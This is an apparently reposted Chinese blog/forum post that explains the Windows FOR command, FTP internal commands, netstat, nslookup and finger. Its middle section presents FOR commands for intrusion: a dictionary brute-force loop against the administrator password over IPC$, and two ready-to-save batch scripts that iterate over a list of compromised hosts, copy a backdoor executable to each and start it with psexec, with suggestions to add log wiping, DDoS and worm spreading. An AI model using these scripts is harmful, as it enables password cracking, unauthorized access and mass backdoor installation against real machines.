? 中使用雙引號擴起文件名稱。 ? ? ? ? ? ? sample1: ? ? ? ? ? ? FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do ? ? ? ? ? ? command ? ? ? ? ? ? 會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將 ? ? ? ? ? ? 每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或 ? ? ? ? ? ? 空格定界符號。請注意,這個 for 程序體的語句引用 %i 來 ? ? ? ? ? ? 取得第二個符號,引用 %j 來取得第三個符號,引用 %k ? ? ? ? ? ? 來取得第三個符號后的所有剩余符號。對于帶有空格的文件 ? ? ? ? ? ? 名,您需要用雙引號將文件名括起來。為了用這種方式來使 ? ? ? ? ? ? 用雙引號,您還需要使用 usebackq 選項,否則,雙引號會 ? ? ? ? ? ? 被理解成是用作定義某個要分析的字符串的。 ? ? ? ? ? ? %i 專門在 for 語句中得到說明,%j 和 %k 是通過 ? ? ? ? ? ? tokens= 選項專門得到說明的。您可以通過 tokens= 一行 ? ? ? ? ? ? 指定最多 26 個符號,只要不試圖說明一個高于字母 'z' 或 ? ? ? ? ? ? 'Z' 的變量。請記住,FOR 變量是單一字母、分大小寫和全局的; ? ? ? ? ? ? 同時不能有 52 個以上都在使用中。 ? ? ? ? ? ? 您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是, ? ? ? ? ? ? 用單引號將括號之間的 filenameset 括起來。這樣,該字符 ? ? ? ? ? ? 串會被當作一個文件中的一個單一輸入行。 ? ? ? ? ? ? 最后,您可以用 FOR /F 命令來分析命令的輸出。方法是,將 ? ? ? ? ? ? 括號之間的 filenameset 變成一個反括字符串。該字符串會 ? ? ? ? ? ? 被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進 ? ? ? ? ? ? 內(nèi)存,并被當作文件分析。因此,以下例子: ? ? ? ? ? ? FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i ? ? ? ? ? ? 會枚舉當前環(huán)境中的環(huán)境變量名稱。 ? ? ? ? ? ? 另外,FOR 變量參照的替換已被增強。您現(xiàn)在可以使用下列 ? ? ? ? ? ? 選項語法: ? ? ? ? ? ? ~I - 刪除任何引號("),擴充 %I ? ? ? ? ? ? %~fI - 將 %I 擴充到一個完全合格的路徑名 ? ? ? ? ? ? %~dI - 僅將 %I 擴充到一個驅(qū)動器號 ? ? ? ? ? ? %~pI - 僅將 %I 擴充到一個路徑 ? ? ? ? ? ? %~nI - 僅將 %I 擴充到一個文件名 ? ? ? ? ? ? %~xI - 僅將 %I 擴充到一個文件擴展名 ? ? ? ? ? ? %~sI - 擴充的路徑只含有短名 ? ? ? ? ? ? %~aI - 將 %I 擴充到文件的文件屬性 ? ? ? ? ? ? %~tI - 將 %I 擴充到文件的日期/時間 ? ? ? ? ? ? %~zI - 將 %I 擴充到文件的大小 ? ? ? ? ? ? %~$PATH:I - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴充 ? ? ? ? ? ? 到找到的第一個完全合格的名稱。如果環(huán)境變量 ? ? ? ? ? ? 未被定義,或者沒有找到文件,此組合鍵會擴充 ? ? ? ? ? ? 空字符串 ? ? ? ? ? ? 可以組合修飾符來得到多重結(jié)果: ? ? ? ? ? ? %~dpI - 僅將 %I 擴充到一個驅(qū)動器號和路徑 ? ? ? ? ? ? %~nxI - 僅將 %I 擴充到一個文件名和擴展名 ? ? ? ? ? ? %~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名 ? ? ? ? ? ? %~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴充 ? ? ? ? ? ? 到找到的第一個驅(qū)動器號和路徑。 ? ? ? ? ? ? %~ftzaI - 將 %I 擴充到類似輸出線路的 DIR ? ? ? ? ? ? 在以上例子中,%I 和 PATH 可用其他有效數(shù)值代替。%~ 語法 ? ? ? ? ? ? 用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名 ? ? ? ? ? ? 比較易讀,而且避免與不分大小寫的組合鍵混淆。 ? ? ? ? ? ? 以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。 ? ? ? ? ? ? sample2: ? ? ? ? ? ? 利用For命令來實現(xiàn)對一臺目標Win2k主機的暴力密碼破解。 ? ? ? ? ? ? 我們用net use \\ip\ipc$ "password" ? ? ? ? ? ? /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。 ? ? ? ? ? ? 最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" ? ? ? ? ? ? /u:"administrator" ? ? ? ? ? ? 用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use ? ? ? ? ? ? 命令來連接。然后將程序運行結(jié)果傳遞給find命令-- ? ? ? ? ? ? for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" ? ? ? ? ? ? /u:"administrator"│find ":命令成功完成">>D:\ok.txt ,這樣就ko了。 ? ? ? ? ? ? sample3: ? ? ? ? ? ? 你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當數(shù)量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那么如何實現(xiàn)呢?呵呵,看下去你就會明白了。 ? ? ? ? ? ? 主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable) ? ? ? ? ? ? @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start ? ? ? ? ? ? call cultivate.bat %%i %%j %%k ? ? ? ? ? ? tokens的用法請參見上面的sample1,在這里它表示按順序?qū)ictim.txt中的內(nèi)容傳遞給cultivate.bat中的參數(shù)%i ? ? ? ? ? ? %j %k。 ? ? ? ? ? ? 而cultivate.bat無非就是用net ? ? ? ? ? ? use命令來建立IPC$連接,并copy木馬+后門到victim并用返回碼(If errorlever ? ? ? ? ? ? =)來篩選成功種植后門的主機并echo出來,或者echo到文件。 ? ? ? ? ? ? delims= ? ? ? ? ? ? 表示vivtim.txt中的內(nèi)容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應該根據(jù)%%i ? ? ? ? ? ? %%j %%k表示的對象來,一般就是 ip password username。 ? ? ? ? ? ? --------------- cut here then save as a batchfile(I call it ? ? ? ? ? ? main.bat ) --------------------------- ? ? ? ? ? ? @echo off ? ? ? ? ? ? @if "%1"=="" goto usage ? ? ? ? ? ? @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start ? ? ? ? ? ? call IPChack.bat %%i %%j %%k ? ? ? ? ? ? @goto end ? ? ? ? ? ? :usage ? ? ? ? ? ? @echo run this batch in dos modle.or just double-click it. ? ? ? ? ? ? :end ? ? ? ? ? ? --------------- cut here then save as a batchfile(I call it ? ? ? ? ? ? main.bat ) --------------------------- ? ? ? ? ? ? ------------------- cut here then save as a batchfile(I call ? ? ? ? ? ? it door.bat) ----------------------------- ? ? ? ? ? ? @net use \\%1\ipc$ %3 /u:"%2" ? ? ? ? ? ? @if errorlevel 1 goto failed ? ? ? ? ? ? @echo Trying to establish the IPC$ connection …………OK ? ? ? ? ? ? @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 ? ? ? ? ? ? echo IP %1 USER %2 PWD %3 >>ko.txt ? ? ? ? ? ? @p***ec \\%1 c:\winnt\system32\windrv32.exe ? ? ? ? ? ? @p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 ? ? ? ? ? ? Backdoored >>ko.txt ? ? ? ? ? ? :failed ? ? ? ? ? ? @echo Sorry can not connected to the victim. ? ? ? ? ? ? ----------------- cut here then save as a batchfile(I call it ? ? ? ? ? ? door.bat) -------------------------------- ? ? ? ? ? ? 這只是一個自動種植后門批處理的雛形,兩個批處理和后門程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容 ? ? ? ? ? ? 尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究 ? ? ? ? ? ? FTP命令 ? ? ? ? ? ? FTP命令是Internet用戶使用最頻繁的命令之一,熟悉并靈活應用FTP的內(nèi)部命令,可以大大方便使用者,并收到事半功倍之效。 ? ? ? ? ? ? 如果你想學習使用進行后臺FTP下載,那么就必須學習FTP指令。 ? ? ? ? ? ? FTP的命令行格式為: ftp -v -d -i -n -g [主機名] , ? ? ? ? ? ? 其中 -v 顯示遠程服務器的所有響應信息; ? ? ? ? ? ? -n 限制ftp的自動登錄,即不使用;.n etrc文件; ? ? ? ? ? ? -d 使用調(diào)試方式; ? ? ? ? ? ? -g 取消全局文件名。 ? ? ? ? ? ? FTP使用的內(nèi)部命令如下(中括號表示可選項): ? ? ? ? ? ? 1.![cmd[args>:在本地機中執(zhí)行交互shell,exit回到ftp環(huán)境,如:!ls*.zip ? ? ? ? ? ? 2.$ macro-ame[args]: 執(zhí)行宏定義macro-name。 ? ? ? ? ? ? 3.account[password]: 提供登錄遠程系統(tǒng)成功后訪問系統(tǒng)資源所需的補充口令。 ? ? ? ? ? ? 4.append ? ? ? ? ? ? local-file[remote-file]:將本地文件追加到遠程系統(tǒng)主機,若未指定遠程系統(tǒng)文件名,則使用本地文件名。 ? ? ? ? ? ? 5.ascii:使用ascii類型傳輸方式。 ? ? ? ? ? ? 6.bell:每個命令執(zhí)行完畢后計算機響鈴一次。 ? ? ? ? ? ? 7.bin:使用二進制文件傳輸方式。 ? ? ? ? ? ? 8.bye:退出ftp會話過程。 ? ? ? ? ? ? 9.case:在使用mget時,將遠程主機文件名中的大寫轉(zhuǎn)為小寫字母。 ? ? ? ? ? ? 10.cd remote-dir:進入遠程主機目錄。 ? ? ? ? ? ? 11.cdup:進入遠程主機目錄的父目錄。 ? ? ? ? ? ? 12.chmod mode file-name:將遠程主機文件file-name的存取方式設置為mode,如:chmod ? ? ? ? ? ? 777 a.out。 ? ? ? ? ? ? 13.close:中斷與遠程服務器的ftp會話(與open對應)。 ? ? ? ? ? ? 14.cr:使用asscii方式傳輸文件時,將回車換行轉(zhuǎn)換為回行。 ? ? ? ? ? ? 15.delete remote-file:刪除遠程主機文件。 ? ? ? ? ? ? 16.debug[debug-value]:設置調(diào)試方式, 顯示發(fā)送至遠程主機的每條命令,如:deb up ? ? ? ? ? ? 3,若設為0,表示取消debug。 ? ? ? ? ? ? 17.dir[remote-dir][local-file]:顯示遠程主機目錄,并將結(jié)果存入本地文件 ? ? ? ? ? ? 18.disconnection:同close。 ? ? ? ? ? ? 19.form format:將文件傳輸方式設置為format,缺省為file方式。 ? ? ? ? ? ? 20.get remote-file[local-file]: ? ? ? ? ? ? 將遠程主機的文件remote-file傳至本地硬盤的local-file。 ? ? ? ? ? ? 21.glob:設置mdelete,mget,mput的文件名擴展,缺省時不擴展文件名,同命令行的-g參數(shù)。 ? ? ? ? ? ? 22.hash:每傳輸1024字節(jié),顯示一個hash符號(#)。 ? ? ? ? ? ? 23.help[cmd]:顯示ftp內(nèi)部命令cmd的幫助信息,如:help get。 ? ? ? ? ? ? 24.idle[seconds]:將遠程服務器的休眠計時器設為[seconds]秒。 ? ? ? ? ? ? 25.image:設置二進制傳輸方式(同binary)。 ? ? ? ? ? ? 26.lcd[dir]:將本地工作目錄切換至dir。 ? ? ? ? ? ? 27.ls[remote-dir][local-file]:顯示遠程目錄remote-dir, ? ? ? ? ? ? 并存入本地文件local-file。 ? ? ? ? ? ? 28.macdef macro-name:定義一個宏,遇到macdef下的空行時,宏定義結(jié)束。 ? ? ? ? ? ? 29.mdelete[remote-file]:刪除遠程主機文件。 ? ? ? ? ? ? 30.mdir remote-files local-file:與dir類似,但可指定多個遠程文件,如 :mdir ? ? ? ? ? ? *.o.*.zipoutfile 。 ? ? ? ? ? ? 31.mget remote-files:傳輸多個遠程文件。 ? ? ? ? ? ? 32.mkdir dir-name:在遠程主機中建一目錄。 ? ? ? ? ? ? 33.mls remote-file local-file:同nlist,但可指定多個文件名。 ? ? ? ? ? ? 34.mode[modename]:將文件傳輸方式設置為modename, 缺省為stream方式。 ? ? ? ? ? ? 35.modtime file-name:顯示遠程主機文件的最后修改時間。 ? ? ? ? ? ? 36.mput local-file:將多個文件傳輸至遠程主機。 ? ? ? ? ? ? 37.newer file-name: 如果遠程機中file-name的修改時間比本地硬盤同名文件的時間更近,則重傳該文件。 ? ? ? ? ? ? 38.nlist[remote-dir][local-file]:顯示遠程主機目錄的文件清單,并存入本地硬盤的local-file。 ? ? ? ? ? ? 39.nmap[inpattern outpattern]:設置文件名映射機制, 使得文件傳輸時,文件中的某些字符相互轉(zhuǎn)換, ? ? ? ? ? ? 如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸文件a1.a2.a3時,文件名變?yōu)閍1,a2。 ? ? ? ? ? ? 該命令特別適用于遠程主機為非UNIX機的情況。 ? ? ? ? ? ? 40.ntrans[inchars[outchars>:設置文件名字符的翻譯機制,如ntrans1R,則文件名LLL將變?yōu)镽RR。 ? ? ? ? ? ? 41.open host[port]:建立指定ftp服務器連接,可指定連接端口。 ? ? ? ? ? ? 42.passive:進入被動傳輸方式。 ? ? ? ? ? ? 43.prompt:設置多個文件傳輸時的交互提示。 ? ? ? ? ? ? 44.proxy ftp-cmd:在次要控制連接中,執(zhí)行一條ftp命令, ? ? ? ? ? ? 該命令允許連接兩個ftp服務器,以在兩個服務器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個服務器間的連接。 ? ? ? ? ? ? 45.put local-file[remote-file]:將本地文件local-file傳送至遠程主機。 ? ? ? ? ? ? 46.pwd:顯示遠程主機的當前工作目錄。 ? ? ? ? ? ? 47.quit:同bye,退出ftp會話。 ? ? ? ? ? ? 48.quote arg1,arg2...:將參數(shù)逐字發(fā)至遠程ftp服務器,如:quote syst. ? ? ? ? ? ? 49.recv remote-file[local-file]:同get。 ? ? ? ? ? ? 50.reget remote-file[local-file]:類似于get, ? ? ? ? ? ? 但若local-file存在,則從上次傳輸中斷處續(xù)傳。 ? ? ? ? ? ? 51.rhelp[cmd-name]:請求獲得遠程主機的幫助。 ? ? ? ? ? ? 52.rstatus[file-name]:若未指定文件名,則顯示遠程主機的狀態(tài), 否則顯示文件狀態(tài)。 ? ? ? ? ? ? 53.rename[from][to]:更改遠程主機文件名。 ? ? ? ? ? ? 54.reset:清除回答隊列。 ? ? ? ? ? ? 55.restart marker:從指定的標志marker處,重新開始get或put,如:restart 130。 ? ? ? ? ? ? 56.rmdir dir-name:刪除遠程主機目錄。 ? ? ? ? ? ? 57.runique:設置文件名只一性存儲,若文件存在,則在原文件后加后綴.1, .2等。 ? ? ? ? ? ? 58.send local-file[remote-file]:同put。 ? ? ? ? ? ? 59.sendport:設置PORT命令的使用。 ? ? ? ? ? ? 60.site arg1,arg2...:將參數(shù)作為SITE命令逐字發(fā)送至遠程ftp主機。 ? ? ? ? ? ? 61.size file-name:顯示遠程主機文件大小,如:site idle 7200。 ? ? ? ? ? ? 62.status:顯示當前ftp狀態(tài)。 ? ? ? ? ? ? 63.struct[struct-name]:將文件傳輸結(jié)構(gòu)設置為struct-name, 缺省時使用stream結(jié)構(gòu)。 ? ? ? ? ? ? 64.sunique:將遠程主機文件名存儲設置為只一(與runique對應)。 ? ? ? ? ? ? 65.system:顯示遠程主機的操作系統(tǒng)類型。 ? ? ? ? ? ? 66.tenex:將文件傳輸類型設置為TENEX機的所需的類型。 ? ? ? ? ? ? 67.tick:設置傳輸時的字節(jié)計數(shù)器。 ? ? ? ? ? ? 68.trace:設置包跟蹤。 ? ? ? ? ? ? 69.type[type-name]:設置文件傳輸類型為type-name,缺省為ascii,如:type ? ? ? ? ? ? binary,設置二進制傳輸方式。 ? ? ? ? ? ? 70.umask[newmask]:將遠程服務器的缺省umask設置為newmask,如:umask 3 ? ? ? ? ? ? 71.user ? ? ? ? ? ? user-name[password][account]:向遠程主機表明自己的身份,需要口令時,必須輸入口令,如:user ? ? ? ? ? ? anonymous my@email。 ? ? ? ? ? ? 72.verbose:同命令行的-v參數(shù),即設置詳盡報告方式,ftp 服務器的所有響 應都將顯示給用戶,缺省為on. ? ? ? ? ? ? 73.?[cmd]:同help. ? ? ? ? ? ? 那么如何應用這些命令提高效率呢?下面我舉一個例子,如何利用fttp進行 ? ? ? ? ? ? 后臺下載,假設你的ISP給你提供了shell并且可以用nohup,你想由fttp.downlo ? ? ? ? ? ? ad.com/pub/internet/下載一個30M的程序aaa.zip具體步驟如下: ? ? ? ? ? ? 1.用notepad做一個文件如aaa1內(nèi)容如下 ? ? ? ? ? ? open ftp.dwonload.com user an onymous zyz@cenpok.net ? ? ? ? ? ? cd /pub/internet/ i get aaa.zip close bye ? ? ? ? ? ? 2.撥號登錄到你的ISP上。 ? ? ? ? ? ? 用telnet 或netterm登錄到shell,一般都在你的home子目錄里bbs~/ ? ? ? ? ? ? 3.用fttp上傳aaa1到ISP服務器你的子目錄。 ? ? ? ? ? ? 4. 執(zhí)行nohup fttp -invd aaa2& 這樣這個進程就被放在ISP服務器的后臺進行了, ? ? ? ? ? ? 如果你想知道情況如何,可以more aaa2就可以知道情況如何了。這時你可以斷線了或干點別的, ? ? ? ? ? ? 估計時間到了(time約=30M/(33.6K/9)s)撥號上去,more aaa2如果顯示成功下載aaa.zip, ? ? ? ? ? ? 就表示aaa.zip已經(jīng)被下載到ISP的服務器上了,你再由ISP的服務器拉回來就相當與點對點了, ? ? ? ? ? ? 記得下載完成后del掉你的文件(aaa.zip),免得浪費ISP資源,它會關(guān)掉shell的。 ? ? ? ? ? ? netstat命令 ? ? ? ? ? ? netstat命令的功能是顯示網(wǎng)絡連接、路由表和網(wǎng)絡接口信息,可以讓用戶得知目前都有哪些網(wǎng)絡連接正在運作。 ? ? ? ? ? ? 該命令的一般格式為: ? ? ? ? ? ? netstat [選項] (如 netstat -a) ? ? ? ? ? ? 命令中各選項的含義如下: ? ? ? ? ? ? -a 顯示所有socket,包括正在監(jiān)聽的。 ? ? ? ? ? ? -c 每隔1秒就重新顯示一遍,直到用戶中斷它。 ? ? ? ? ? ? -i 顯示所有網(wǎng)絡接口的信息,格式同“ipconfig -e”。 ? ? ? ? ? ? -n 以網(wǎng)絡IP地址代替名稱,顯示出網(wǎng)絡連接情形。 ? ? ? ? ? ? -r 顯示核心路由表,格式同“route -e”。 ? ? ? ? ? ? -t 顯示TCP協(xié)議的連接情況。 ? ? ? ? ? ? -u 顯示UDP協(xié)議的連接情況。 ? ? ? ? ? ? -v 顯示正在進行的工作。 ? ? ? ? ? ? [例]在本地機上使用netstat命令。 ? ? ? ? ? ? $ netstat ? ? ? ? ? ? Active Internet connections (w/o servers) ? ? ? ? ? ? Proto Recv-Q Send-Q Local Address Foreign Address State ? ? ? ? ? ? Active UNIX domain sockets (w/o servers) ? ? ? ? ? ? Proto RefCnt Flags Type State I-Node Path ? ? ? ? ? ? unix 1 [ ] STREAM CONNECTED 270 @00000008 ? ? ? ? ? ? unix 1 [ ] STREAM CONNECTED 150 @00000002 ? ? ? ? ? ? unix 1 [ ] STREAM CONNECTED 104 @00000001 ? ? ? ? ? ? unix 1 [ ] STREAM CONNECTED 222 @00000004 ? ? ? ? ? ? unix 1 [ ] STREAM CONNECTED 171 @00000003 ? ? ? ? ? ? unix 1 [ ] STREAM CONNECTED 271 /dev/log ? ? ? ? ? ? unix 1 [ ] STREAM CONNECTED 225 /dev/log ? ? ? ? ? ? unix 1 [ ] STREAM CONNECTED 223 /dev/log ? ? ? ? ? ? unix 1 [ ] STREAM CONNECTED 203 /dev/log ? ? ? ? ? ? unix 1 [ ] STREAM CONNECTED 105 /dev/log ? ? ? ? ? ? …… ? ? ? ? ? ? netstat命令的列標題 ? ? ? ? ? ? Name 接口的名字 ? ? ? ? ? ? Mtu 接口的最大傳輸單位 ? ? ? ? ? ? Net/Dest 接口所在的網(wǎng)絡 ? ? ? ? ? ? Address 接口的IP地址 ? ? ? ? ? ? Ipkts 接收到的數(shù)據(jù)包數(shù)目 ? ? ? ? ? ? Ierrs 接收到時已損壞的數(shù)據(jù)包數(shù)目 ? ? ? ? ? ? Opkts 發(fā)送的數(shù)據(jù)包數(shù)目 ? ? ? ? ? ? Oeers 發(fā)送時已損壞的數(shù)據(jù)包數(shù)目 ? ? ? ? ? ? Collisions 由這個接口所記錄的網(wǎng)絡沖突數(shù)目 ? ? ? ? ? ? nslookup命令 ? ? ? ? ? ? nslookup命令的功能是查詢一臺機器的IP地址和其對應的域名。它通常需要一臺域名服務器來提供域名服務。如果用戶已經(jīng)設置好域名服務器,就可以用這個命令查看不同主機的IP地址對應的域名。 ? ? ? ? ? ? 該命令的一般格式為: ? ? ? ? ? ? nslookup [IP地址/域名] ? ? ? ? ? ? [例]在本地機上使用nslookup命令。 ? ? ? ? ? ? $ nslookup ? ? ? ? ? ? Default Server: name.tlc.com.cn ? ? ? ? ? ? Address: 192.168.1.99 ? ? ? ? ? ? > ? ? ? ? ? ? 在符號“>”后面輸入要查詢的IP地址或域名并回車即可。如果要退出該命令,輸入exit并回車即可。 ? ? ? ? ? ? finger命令 ? ? ? ? ? ? finger命令的功能是查詢用戶的信息,通常會顯示系統(tǒng)中某個用戶的用戶名、主目錄、停滯時間、登錄時間、登錄shell等信息。如果要查詢遠程機上的用戶信息,需要在用戶名后面接“@主機名”,采用[用戶名@主機名]的格式,不過要查詢的網(wǎng)絡主機需要運行finger守護進程。 ? ? ? ? ? ? 該命令的一般格式為: ? ? ? ? ? ? finger [選項] [使用者] [用戶@主機] ? ? ? ? ? ? 命令中各選項的含義如下: ? ? ? ? ? ? -s 顯示用戶的注冊名、實際姓名、終端名稱、寫狀態(tài)、停滯時間、登錄時間等信息。 -l ? ? ? ? ? ? 除了用-s選項顯示的信息外,還顯示用戶主目錄、登錄shell、郵件狀態(tài)等信息,以及用戶主目錄下的.plan、.project和.forward文件的內(nèi)容。 ? ? ? ? ? ? -p 除了不顯示.plan文件和.project文件以外,與-l選項相同。 ? ? ? ? ? ? ? ? ? ? ? ? [例]在本地機上使用finger命令。 ? ? ? ? ? ? $ finger xxq ? ? ? ? ? ? Login: xxq Name: ? ? ? ? ? ? Directory: /home/xxq Shell: /bin/bash ? ? ? ? ? ? Last login Thu Jan 1 21:43 (CST) on tty1 ? ? ? ? ? ? No mail. ? ? ? ? ? ? No Plan. ? ? ? ? ? ? ? ? ? ? ? ? $ finger ? ? ? ? ? ? Login Name Tty Idle Login Time Office Office Phone ? ? ? ? ? ? root root *1 28 Nov 25 09:17 ? ? ? ? ? ? …… ? ? ? ? ? ? TurboLinux系統(tǒng)提供了大量命令和許多實用工具軟件,本書由于篇幅的關(guān)系,主要介紹了TurboLinux的一些常用命令和實用軟件。讀者可以使用系統(tǒng)提供的聯(lián)機幫助手冊獲取更多的信息。 ? ? ? ? ? ? TurboLinux系統(tǒng)的聯(lián)機手冊中有大量的可用信息,根據(jù)其內(nèi)容分成若干節(jié)。在Linux聯(lián)機幫助手冊上,幾乎每個命令都有說明。因此,當用戶對于Linux上的一個命令不會用或是不太了解時,就請使用聯(lián)機幫助命令。 ? | ||||||
| ? | ||||||
| [樓 主] | Posted: 2006-05-23 08:02 | ||||||
| ? |
| ? |
| ||||||||||||||||||
| ? |
| ? |
| ||||||||||||||||||
| ? |
| ? |
| ||||||||||||||||||
| ? |
| ? |
| ||||||
閱讀(1338)| 評論(0)
? ? ? ?
?
?
?
?
?
推薦 轉(zhuǎn)載
?
常用網(wǎng)頁播放器代碼之wmp篇
?
如何用Ghost做系統(tǒng)系統(tǒng)安裝盤
評論
? 登錄后你可以發(fā)表評論,請先登錄。登錄>>
我的照片書 - 博客風格 - 手機博客 - 下載LOFTER APP -?訂閱此博客
網(wǎng)易公司版權(quán)所有??1997-2018
?
總結(jié)
- 上一篇: python flask 上传下载 ap
- 下一篇: 云计算的概念_云计算概念掀起涨停潮 美利